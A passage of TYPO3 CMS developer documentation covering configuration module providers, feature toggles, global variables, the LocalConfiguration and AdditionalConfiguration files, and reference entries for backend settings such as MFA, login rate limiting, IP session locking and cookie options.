If you want to display a custom configuration from the $GLOBALS array, you can also use the already existing \TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider . Define the key to be exposed using the globalVariableKey attribute.

This could look like this:

EXT:my_extension/Configuration/Services.yaml
myextension.configuration.module.provider.myconfiguration:
    class: 'TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider'
    tags:
        - name: 'lowlevel.configuration.module.provider'
          identifier: 'myConfiguration'
          label: 'My global var'
          globalVariableKey: 'MY_GLOBAL_VAR'
Copied!

Disabling an entry

To disable an already registered configuration add the disabled attribute set to true. For example, if you intend to disable the TBE_STYLES key you can use:

EXT:my_extension/Configuration/Services.yaml
lowlevel.configuration.module.provider.tbestyles:
    class: TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider
    tags:
        - name: 'lowlevel.configuration.module.provider'
          disabled: true
Copied!

Blinding configuration options

Sensitive data (like passwords or access tokens) should not be displayed in the configuration module. Therefore, a hook is available to blind such configuration options.

First, implement a class, for example:

EXT:my_extension/Classes/Hooks/BlindedConfigurationOptionsHook.php
final class BlindedConfigurationOptionsHook
{
    public function modifyBlindedConfigurationOptions(array $blindedOptions): array
    {
        if (($GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['example']['password'] ?? '') !== '') {
            $blindedOptions['TYPO3_CONF_VARS']['EXTENSIONS']['example']['password'] = '******';
        }

        return $blindedOptions;
    }
}
Copied!

Then register the hook in your extension's ext_localconf.php:

EXT:my_extension/ext_localconf.php
use MyVendor\MyExtension\Hook\BlindedConfigurationOptionsHook;
use TYPO3\CMS\Lowlevel\Controller\ConfigurationController;

$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS'][ConfigurationController::class]['modifyBlindedConfigurationOptions'][]
    = BlindedConfigurationOptionsHook::class;
Copied!

Feature toggles

TYPO3 provides an API class for creating so-called "feature toggles". Feature toggles provide an easy way to add new implementations of features next to their legacy version. By using a feature toggle, the integrator or site administrator can decide when to switch to the new feature.

The API checks against a system-wide option array within $GLOBALS['TYPO3_CONF_VARS']['SYS']['features'] which an integrator or admininistrator can set in the LocalConfiguration.php file. Both TYPO3 Core and extensions can provide alternative functionality for a certain feature.

Examples for features are:

  • Throw exceptions in new code instead of just returning a string message as error message.
  • Disable obsolete functionality which might still be used, but slows down the system.
  • Enable alternative "page not found" handling for an installation.

Naming of feature toggles

Feature names should NEVER be named "enable" or have a negation, or contain versions or years. It is recommended to use "lowerCamelCase" notation for the feature names.

Bad examples:

  • enableFeatureXyz
  • disableOverlays
  • schedulerRevamped2018
  • useDoctrineQueries
  • disablePreparedStatements
  • disableHooksInFE

Good examples:

  • extendedRichtextFormat
  • nativeYamlParser
  • inlinePageTranslations
  • typoScriptParserIncludesAsXml
  • nativeDoctrineQueries

Using the API as extension author

For extension authors, the API can be used for any custom feature provided by an extension.

To register a feature and set the default state, add the following to the ext_localconf.php file of your extension:

EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['myFeatureName'] ??= true; // or false;
Copied!

To check if a feature is enabled, use this code:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Configuration\Features;

final class SomeClass {
    public function __construct(
        private readonly Features $features,
    ) {
    }

    public function doSomething(): void
    {
        if ($this->features->isFeatureEnabled('myFeatureName') {
            // do custom processing
        }

        // ...
    }
}
Copied!

The name can be any arbitrary string, but an extension author should prefix the feature with the extension name as the features are global switches which otherwise might lead to naming conflicts.

Core feature toggles

Some examples for feature toggles in the TYPO3 Core:

  • redirects.hitCount: Enables hit statistics in the redirects backend module
  • security.backend.enforceReferrer: If on, HTTP referrer headers are enforced for backend and install tool requests to mitigate potential same-site request forgery attacks.

Enable / disable feature toggle

Features can be toggled in the Admin Tools > Settings module via Feature Toggles:

Internally, the changes are written to LocalConfiguration.php:

typo3conf/LocalConfiguration.php
'SYS' => [
    'features' => [
        'redirects.hitCount' => true,
    ],
]
Copied!

Feature toggles in TypoScript

One can check whether a feature is enabled in TypoScript with the function feature():

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[feature("unifiedPageTranslationHandling")]
    # This condition matches if the feature toggle "unifiedPageTranslationHandling" is true
[END]

[feature("unifiedPageTranslationHandling") === false]
    # This condition matches if the feature toggle "unifiedPageTranslationHandling" is false
[END]
Copied!

$GLOBALS

TYPO3_CONF_VARS

TYPO3_CONF_VARS
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/Configuration/DefaultConfiguration.php
Frontend
yes

TYPO3 configuration array. Please refer to the chapter TYPO3_CONF_VARS where each option is described in detail.

Most values in this array can be accessed through the tool Admin Tools > Settings > Configure Installation-Wide Options.

TCA

TCA
Type
array
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\Bootstrap::loadExtensionTables()
Frontend
Yes, partly

T3_SERVICES

T3_SERVICES
Type
array
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalVariables()
Frontend
Yes

Global registration of services.

TBE_MODULES

TBE_MODULES
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
(occasionally)

The backend main/sub-module structure. See section elsewhere plus source code of class \TYPO3\CMS\Backend\Module\ModuleLoader which also includes some examples.

TBE_MODULES_EXT

TBE_MODULES_EXT
Type
array
Path
$GLOBALS
Defined
[In ext_tables.php files of extensions]
Frontend
(occasionally)

Used to store information about modules from extensions that should be included in "function menus" of real modules. See the Extension API for details.

This variable may be set in a script prior to the bootstrap process so it is optional.

TBE_STYLES

TBE_STYLES
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
(occasionally)

Contains information related to BE skinning.

TSFE

TSFE
Type
TypoScriptFrontendController
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
yes

Contains an instantiation of \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController .

Provides some public properties and methods which can be used by extensions. The public properties can also be used in TypoScript via TSFE.

More information is available in TSFE.

TYPO3_USER_SETTINGS

TYPO3_USER_SETTINGS
Type
array
Path
$GLOBALS
Defined
typo3/sysext/setup/ext_tables.php

Defines the form in the User Settings.

PAGES_TYPES

PAGES_TYPES
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
(occasionally)

$GLOBALS['PAGES_TYPES'] defines the various types of pages ( doktype) the system can handle and what restrictions may apply to them.

Here you can define which tables are allowed on a certain page types ( doktype).

The default configuration applies if the page type is not defined otherwise.

BE_USER

BE_USER
Type
\TYPO3\CMS\Core\Authentication\BackendUserAuthentication
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser()
Frontend
(depends)

Backend user object. See Backend user object.

EXEC_TIME

EXEC_TIME
Type
int
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables()
Frontend
yes

Is set to time() so that the rest of the script has a common value for the script execution time.

SIM_EXEC_TIME

SIM_EXEC_TIME
Type
int
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables()
Frontend
yes

Is set to $GLOBALS['EXEC_TIME'] but can be altered later in the script if we want to simulate another execution-time when selecting from e.g. a database (used in the frontend for preview of future and past dates)

LANG

LANG
Type
\TYPO3\CMS\Core\Localization\LanguageService
Path
$GLOBALS
Defined
is initialized via \TYPO3\CMS\Core\Localization\LanguageServiceFactory
Frontend
no

The LanguageService can be used to fetch translations.

More information about retrieving the LanguageService is available in Localization in PHP.

Exploring global variables

Many of the global variables described above can be inspected using the module System > Configuration.

Viewing the $GLOBALS['TYPO3_CONF_VARS] array using the Admin Tools > Configuration module

TYPO3_CONF_VARS

The main configuration is achieved via a set of global settings stored in a global array called $GLOBALS['TYPO3_CONF_VARS'] .

This chapter describes this global configuration in more details and gives hints to further configuration possibilities.

File LocalConfiguration.php

The global configuration is stored in file typo3conf/LocalConfiguration.php. This file overrides default settings from typo3/sysext/core/Configuration/DefaultConfiguration.php.

The local configuration file is basically a long array which is simply returned when the file is included. It represents the global TYPO3 configuration. This configuration can be modified/extended/overridden by extensions, by setting configuration options inside an extension's ext_localconf.php file. See extension files and locations for more details about extension structure.

A typical content of typo3conf/LocalConfiguration.php looks like this:

<?php
return [
   'BE' => [
      'debug' => true,
      'explicitADmode' => 'explicitAllow',
      'installToolPassword' => '$P$Cbp90UttdtIKELNrDGjy4tDxh3uu9D/',
      'loginSecurityLevel' => 'normal',
   ],
   'DB' => [
      'Connections' => [
         'Default' => [
            'charset' => 'utf8',
            'dbname' => 'empty_typo3',
            'driver' => 'mysqli',
            'host' => '127.0.0.1',
            'password' => 'foo',
            'port' => 3306,
            'user' => 'bar',
         ],
      ],
   ],
   'EXTCONF' => [
       'lang' => [
           'availableLanguages' => [
               'de',
               'eo',
           ],
       ],
   ],
   'EXTENSIONS' => [
       'backend' => [
           'backendFavicon' => '',
           'backendLogo' => '',
           'loginBackgroundImage' => '',
           'loginFootnote' => '',
           'loginHighlightColor' => '',
           'loginLogo' => '',
       ],
       'extensionmanager' => [
           'automaticInstallation' => '1',
           'offlineMode' => '0',
       ],
       'scheduler' => [
           'maxLifetime' => '1440',
           'showSampleTasks' => '1',
       ],
   ],
   'FE' => [
      'debug' => true,
      'loginSecurityLevel' => 'normal',
   ],
   'GFX' => [
      'jpg_quality' => '80',
   ],
   'MAIL' => [
      'transport_sendmail_command' => '/usr/sbin/sendmail -t -i ',
   ],
   'SYS' => [
      'devIPmask' => '*',
      'displayErrors' => 1,
      'encryptionKey' => '0396e1b6b53bf48b0bfed9e97a62744158452dfb9b9909fe32d4b7a709816c9b4e94dcd69c011f989d322cb22309f2f2',
      'exceptionalErrors' => 28674,
      'sitename' => 'New TYPO3 site',
   ],
];
Copied!

As you can see, the array is structured on two main levels. The first level corresponds roughly to a category, the second one being properties, which may themselves be arrays.

The configuration categories are:

BE
Options related to the TYPO3 backend.
DB
Database connection configuration.
EXT
Extension installation options.
EXTCONF
Backend-related language pack configuration resides here.
EXTENSIONS
Extension configuration.
FE
Frontend-related options.
GFX
Options related to image manipulation..
HTTP
Settings for tuning HTTP requests made by TYPO3.
LOG
Configuration of the logging system.
MAIL
Options related to the sending of emails (transport, server, etc.).
SVCONF
Service API configuration.
SYS
General options which may affect both the frontend and the backend.
T3_SERVICES
Service registration configuration and the backend.

Further details on the various configuration options can be found in the Admin Tools module as well as the TYPO3 source at EXT:core/Configuration/DefaultConfigurationDescription.yaml. The documentation shown in the Admin Tools module is automatically extracted from those values of DefaultConfigurationDescription.yaml.

The Admin Tools module provides various dedicated sections that change parts of LocalConfiguration.php, those can be found in Admin Tools > Settings, most importantly section Configure installation-wide options:

Configure installation-wide options Admin Tools > Settings

Configure installation-wide options with an active search

File AdditionalConfiguration.php

Although you can manually edit the typo3conf/LocalConfiguration.php file, it is limited in scope because the file is expected to return a PHP array. Also the file is rewritten every time an option is changed in the Install Tool or some other operation (like changing an extension configuration in the Extension Manager). Thus custom code cannot reside in that file.

Such code should be placed in the typo3conf/AdditionalConfiguration.php file. This file is never touched by TYPO3, so any code will be left alone.

Furthermore this file is loaded after typo3conf/LocalConfiguration.php, which means it represents an opportunity to change global configuration values programmatically if needed.

typo3conf/AdditionalConfiguration.php is a plain PHP file. There are no specific rules about what it may contain. However, since the code is included on every request to TYPO3 - whether frontend or backend - you should avoid inserting code which requires a lot of processing time.

Example: Changing the database hostname for development machines

typo3conf/AdditionalConfiguration.php
<?php

$applicationContext = \TYPO3\CMS\Core\Core\Environment::getContext();
if ($applicationContext->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['host'] = 'mysql-be';
}
Copied!

File DefaultConfiguration.php

TYPO3 comes with some default settings, which are defined in file EXT:core/Configuration/DefaultConfiguration.php.

This is the base configuration, the other files like LocalConfiguration.php just overlay it.

Here is an extract of that file:

return [
    'GFX' => [
        'thumbnails' => true,
        'thumbnails_png' => true,
        'gif_compress' => true,
        'imagefile_ext' => 'gif,jpg,jpeg,tif,tiff,bmp,pcx,tga,png,pdf,ai,svg',
        // ...
    ],
    // ...
];
Copied!

It is certainly interesting to take a look into this file, which also contains values that are not displayed in the Install Tool and therefore cannot be changed easily.

BE - backend configuration

The following configuration variables can be used to configure settings for the TYPO3 backend:

languageDebug

$GLOBALS['TYPO3_CONF_VARS']['BE']['languageDebug']

$GLOBALS['TYPO3_CONF_VARS']['BE']['languageDebug']
type

bool

Default

false

If enabled, language labels will be shown with additional debug information.

fileadminDir

$GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir']

$GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir']
type

text

Default

'fileadmin/'

Path to the primary directory of files for editors. This is relative to the public web dir. DefaultStorage will be created with that configuration. Do not access manually but via \TYPO3\CMS\Core\Resource\ResourceFactory::getDefaultStorage().

lockRootPath

Changed in version 11.5.35

This option has been extended to support an array of root path prefixes to allow for multiple storages to be listed (a string was expected before).

It is suggested to use the new array-based syntax, which will be applied automatically once this setting is updated via Install Tool configuration wizard. Migration:

typo3conf/LocalConfiguration.php
// Before
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = '/var/extra-storage';

// After
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] =  [
    '/var/extra-storage1/',
    '/var/extra-storage2/',
];
Copied!

See also the security bulletin "Path Traversal in TYPO3 File Abstraction Layer Storages".

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']
type

array of file paths

Default

[]

These absolute paths are used to evaluate, if paths outside of the project path should be allowed. This restriction also applies for the local driver of the File Abstraction Layer.

userHomePath

$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath']

$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath']
type

text

Default

''

Combined folder identifier of the directory where TYPO3 backend users have their home-dirs. A combined folder identifier looks like this: [storageUid]:[folderIdentifier]. For Example 2:users/. A home for backend user 2 would be: 2:users/2/. Ending slash required!

groupHomePath

$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath']

$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath']
type

text

Default

''

Combined folder identifier of the directory where TYPO3 backend groups have their home-dirs. A combined folder identifier looks like this: [storageUid]:[folderIdentifier]. For example 2:groups/. A home for backend group 1 would be: 2:groups/1/. Ending slash required!

userUploadDir

$GLOBALS['TYPO3_CONF_VARS']['BE']['userUploadDir']

$GLOBALS['TYPO3_CONF_VARS']['BE']['userUploadDir']
type

text

Default

''

Suffix to the user home dir which is what gets mounted in TYPO3. For example if the user dir is ../123_user/ and this value is /upload then ../123_user/upload gets mounted.

warning_email_addr

$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']

$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']
type

text

Default

''

Email address that will receive notifications whenever an attempt to login to the Install Tool is made. This address will also receive warnings whenever more than 3 failed backend login attempts (regardless of user) are detected within an hour.

Have also a look into the security guidelines.

warning_mode

$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']

$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']
type

int

Default
allowedValues
0:
Default: Do not send notification-emails upon backend-login
1:
Send a notification-email every time a backend user logs in
2:
Send a notification-email every time an admin backend user logs in

Send emails to warning_email_addr upon backend-login

Have also a look into the security guidelines.

passwordReset

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordReset']

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordReset']
type

bool

Default

true

Enable password reset functionality on the backend login for TYPO3 Backend users. Can be disabled for systems where only LDAP or OAuth login is allowed.

Password reset will then still work on CLI and for admins in the backend.

passwordResetForAdmins

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordResetForAdmins']

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordResetForAdmins']
type

bool

Default

true

Enable password reset functionality for TYPO3 Administrators. This will affect all places such as backend login or CLI. Disable this option for increased security.

requireMfa

$GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa']

$GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa']
type

int

Default
allowedValues
0:
Default: Do not require multi-factor authentication
1:
Require multi-factor authentication for all users
2:
Require multi-factor authentication only for non-admin users
3:
Require multi-factor authentication only for admin users
4:
Require multi-factor authentication only for system maintainers

Define users which should be required to set up multi-factor authentication.

recommendedMfaProvider

$GLOBALS['TYPO3_CONF_VARS']['BE']['recommendedMfaProvider']

$GLOBALS['TYPO3_CONF_VARS']['BE']['recommendedMfaProvider']
type

text

Default

'totp'

Set the identifier of the multi-factor authentication provider, recommended for all users.

loginRateLimit

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimit']

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimit']
type

int

Default

5

Maximum amount of login attempts for the time interval in [BE][loginRateLimitInterval], before further login requests will be denied. Setting this value to "0" will disable login rate limiting.

loginRateLimitInterval

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitInterval']

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitInterval']
type

string, PHP relative format

Default

'15 minutes'

allowedValues

'1 minute', '5 minutes', '15 minutes', '30 minutes'

Allowed time interval for the configured rate limit. Individual values using PHP relative formats can be set in AdditionalConfiguration.php.

loginRateLimitIpExcludeList

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitIpExcludeList']

$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitIpExcludeList']
type

string

Default

''

IP-numbers (with *-wildcards) that are excluded from rate limiting. Syntax similar to [BE][IPmaskList]. An empty value disables the exclude list check.

lockIP

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
type

int

Default
allowedValues
0:
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first part of the editors IPv4 address (for example "192.") as part of the session locking of Backend Users
2:
Use the first two parts of the editors IPv4 address (for example "192.168") as part of the session locking of Backend Users
3:
Use the first three parts of the editors IPv4 address (for example "192.168.13") as part of the session locking of Backend Users
4:
Use the editors full IPv4 address (for example "192.168.13.84") as part of the session locking of Backend Users (highest security)

Session IP locking for backend users. See [FE][lockIP] for details.

Have also a look into the security guidelines.

lockIPv6

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']
type

int

Default
allowedValues
0:
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first block (16 bits) of the editors IPv6 address (for example "2001:") as part of the session locking of Backend Users
2:
Use the first two blocks (32 bits) of the editors IPv6 address (for example "2001:0db8") as part of the session locking of Backend Users
3:
Use the first three blocks (48 bits) of the editors IPv6 address (for example "2001:0db8:85a3") as part of the session locking of Backend Users
4:
Use the first four blocks (64 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3") as part of the session locking of Backend Users
5:
Use the first five blocks (80 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319") as part of the session locking of Backend Users
6:
Use the first six blocks (96 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e") as part of the session locking of Backend Users
7:
Use the first seven blocks (112 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370") as part of the session locking of Backend Users
8:
Use the editors full IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370:7344") as part of the session locking of Backend Users (highest security)

Session IPv6 locking for backend users. See [FE][lockIPv6] for details.

sessionTimeout

$GLOBALS['TYPO3_CONF_VARS']['BE']['sessionTimeout']

$GLOBALS['TYPO3_CONF_VARS']['BE']['sessionTimeout']
type

int

Default

28800

Session time out for backend users in seconds. The value must be at least 180 to avoid side effects. Default is 28.800 seconds = 8 hours.

IPmaskList

$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList']

$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList']
type

list

Default

''

Lets you define a list of IP-numbers (with *-wildcards) that are the ONLY ones allowed access to ANY backend activity. On error an error header is sent and the script exits. Works like IP masking for users configurable through TSconfig.

See syntax for that (or look up syntax for the function \TYPO3\CMS\Core\Utility\GeneralUtility::cmpIP())

Have also a look into the security guidelines.

lockSSL

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']
type

bool

Default

false

If set, the backend can only be operated from an SSL-encrypted connection (https). A redirect to the SSL version of a URL will happen when a user tries to access non-https admin-urls

Have also a look into the security guidelines.

lockSSLPort

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSLPort']

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSLPort']
type

int

Default

Use a non-standard HTTPS port for lockSSL. Set this value if you use lockSSL and the HTTPS port of your webserver is not 443.

cookieDomain

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieDomain']

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieDomain']
type

text

Default

''

Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<typo3ConfVars_sys_cookieDomain> but only for BE cookies. If empty, $TYPO3_CONF_VARS[SYS][cookieDomain] value will be used.

cookieName

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieName']

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieName']
type

text

Default

'be_typo_user'

Set the name for the cookie used for the back-end user session

cookieSameSite

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieSameSite']

$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieSameSite']
type

text

Default

'strict'

allowedValues
lax:
Cookies set by TYPO3 are only available for the current site, third-party integrations are not allowed to read cookies, except for links and simple HTML forms
strict:
Cookies sent by TYPO3 are only available for the current site, never shared to other third-party packages
none:
Allow cookies set by TYPO3 to be sent to other sites as well, please note - this only works with HTTPS connections

Indicates that the cookie should send proper information where the cookie can be shared (first-party cookies vs. third-party cookies) in TYPO3 Backend.

Removed: loginSecurityLevel

Deprecated since version 11.3

This option was removed with version 11.3. The only possible value has been 'normal'. This behaviour stays unchanged. When this option has been set in your LocalConfiguration.php or AdditionalConfiguration.php files, they are automatically removed when accessing the admin tool or system maintenance area.

showRefreshLoginPopup

$GLOBALS['TYPO3_CONF_VARS']['BE']['showRefreshLoginPopup']

$GLOBALS['TYPO3_CONF_VARS']['BE']['showRefreshLoginPopup']
type

bool

Default

false

If set, the Ajax relogin will show a real popup window for relogin after the count down. Some auth services need this as they add custom validation to the login form. If its not set, the Ajax relogin will show an inline relogin window.

adminOnly

$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly']

$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly']
type

int

Default
allowedValues

-1: Total shutdown for maintenance purposes 0: Default: All users can access the TYPO3 Backend 1: Only administrators / system maintainers can log in, CLI interface is disabled as well 2: Only administrators / system maintainers have access to the TYPO3 Backend, CLI executions are allowed as well

Restricts access to the TYPO3 Backend - especially useful when doing maintenance or updates

disable_exec_function

$GLOBALS['TYPO3_CONF_VARS']['BE']['disable_exec_function']

$GLOBALS['TYPO3_CONF_VARS']['BE']['disable_exec_function']
type

bool

Default

false

Dont use exec() function (except for ImageMagick which is disabled by [GFX][im]<typo3ConfVars_gfx_im> =0). If set, all file operations are done by the default PHP-functions. This is necessary under Windows! On Unix the system commands by exec() can be used, unless this is disabled.

compressionLevel

$GLOBALS['TYPO3_CONF_VARS']['BE']['compressionLevel']

$GLOBALS['TYPO3_CONF_VARS']['BE']['compressionLevel']
type

text

Default
Range

0-9

Determines output compression of BE output. Makes output smaller but slows down the page generation depending on the compression level. Requires

  • zlib in your PHP installation and
  • special rewrite rules for .css.gzip and .js.gzip

(please see _.htacces for an example). Range 1-9, where 1 is least compression and 9 is greatest compression. true as value will set the compression based on the PHP default settings (usually 5). Suggested and most optimal value is 5.

installToolPassword

$GLOBALS['TYPO3_CONF_VARS']['BE']['installToolPassword']

$GLOBALS['TYPO3_CONF_VARS']['BE']['installToolPassword']
type

string

Default

''

The hash of the install tool password.

checkStoredRecords

$GLOBALS['TYPO3_CONF_VARS']['BE']['checkStoredRecords']

$GLOBALS['TYPO3_CONF_VARS']['BE']['checkStoredRecords']
type

bool

Default

true

If set, values of the record are validated after saving in DataHandler. Disable only if using a database in strict mode.

checkStoredRecordsLoose

$GLOBALS['TYPO3_CONF_VARS']['BE']['checkStoredRecordsLoose']

$GLOBALS['TYPO3_CONF_VARS']['BE']['checkStoredRecordsLoose']
type

bool

Default

true

If set, make a loose comparison ( equals 0) when validating record values after saving in DataHandler.

defaultUserTSconfig

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUserTSconfig']

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUserTSconfig']
type

text

Contains the default user TSconfig.

This variable should not be changed directly but by the following API function. This makes your code less likely to change in the future.

my_sitepackage/ext_localconf.php
/**
 * Adding the default User TSconfig
 */
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addUserTSConfig('
   @import 'EXT:my_sitepackage/Configuration/TSconfig/User/default.tsconfig'
');
Copied!

Read more about Setting default User TSconfig.

defaultPageTSconfig

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPageTSconfig']

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPageTSconfig']
type

text

Contains the default page TSconfig.

This variable should not be changed directly but by the following API function. This makes your code less likely to change in the future.

EXT:my_sitepackage/ext_localconf.php
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

ExtensionManagementUtility::addPageTSConfig('
   @import 'EXT:my_sitepackage/Configuration/TSconfig/Page/default.tsconfig'
');
Copied!

Read more about Setting the Page TSconfig globally.

defaultPermissions

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions']

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions']
type

array

Default

[]

This option defines the default page permissions (show, edit, delete, new, editcontent). The following order applies:

  • defaultPermissions from \TYPO3\CMS\Core\DataHandling\PagePermissionAssembler
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] (the option described here)
  • Page TSconfig via TCEMAIN.permissions

Example (which reflects the default permissions):

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] = [
   'user' => 'show,edit,delete,new,editcontent',
   'group' => 'show,edit,new,editcontent',
   'everybody' => '',
];
Copied!

If you want to deviate from the default permissions, for example by changing the everybody key, you only need to modify the key you wish to change:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] = [
   'everybody' => 'show',
];
Copied!

defaultUC

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC']

$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC']
type

array

Default

[]

Defines the default user settings. The following order applies:

  • uc_default in \TYPO3\CMS\Core\Authentication\BackendUserAuthentication
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC'] (the option described here)
  • User TSconfig via setup

Example (which reflects the default user settings):

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC'] = [
   'emailMeAtLogin' => 0,
   'titleLen' => 50,
   'edit_RTE' => '1',
   'edit_docModuleUpload' => '1',
];
Copied!

Visit the setup chapter of the User TSconfig guide for a list of all available options.

customPermOptions

$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']

$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']
type

array

Default

[]

Array with sets of custom permission options. Syntax is:

typo3conf/AdditionalConfiguration.php
'key' => array(
   'header' => 'header string, language split',
   'items' => array(
      'key' => array('label, language split','icon reference', 'Description text, language split')
   )
)
Copied!

Keys cannot contain characters any of the following characters: :|,.

fileDenyPattern

$GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']

$GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']
type

text

Default

''

A perl-compatible and JavaScript-compatible regular expression (without delimiters /) that - if it matches a filename - will deny the file upload/rename or whatever.

For security reasons, files with multiple extensions have to be denied on an Apache environment with mod_alias, if the filename contains a valid php handler in an arbitrary position. Also, ".htaccess" files have to be denied. Matching is done case-insensitive.

Default value is stored in class constant \TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.

Have also a look into the security guidelines.

interfaces

interfaces

interfaces
Path

$GLOBALS['TYPO3_CONF_VARS']['BE']

type

text

Default

backend

This determines which interface options are available in the login prompt

(All options: "backend,frontend")

explicitADmode

explicitADmode

explicitADmode
Path

$GLOBALS['TYPO3_CONF_VARS']['BE']

type

dropdown

Default

'explicitAllow'

allowedValues
explicitAllow:
Administrators have to explicitly grant access for all editors and groups
explicitDeny:
Editors have access to all content types by default, access has to explicitly restricted

Sets the general allow/deny mode for Content Element Types (CTypes) when granting or restricting access for backend users

flexformForceCDATA

$GLOBALS['TYPO3_CONF_VARS']['BE'][flexformForceCDATA']

$GLOBALS['TYPO3_CONF_VARS']['BE'][flexformForceCDATA']
type

bool

Default

If set, will add CDATA to Flexform XML. Some versions of libxml have a bug that causes HTML entities to be stripped from any XML content and this setting will avoid the bug by adding CDATA.

versionNumberInFilename

$GLOBALS['TYPO3_CONF_VARS']['BE']['versionNumberInFilename']

$GLOBALS['TYPO3_CONF_VARS']['BE']['versionNumberInFilename']
type

bool

Default

false

If enabled, included CSS and JS files loaded in the TYPO3 Backend will

have the timestamp embedded in the filename, ie. filename.1269312081.js . This will make browsers and proxies reload the files if they change (thus avoiding caching issues).

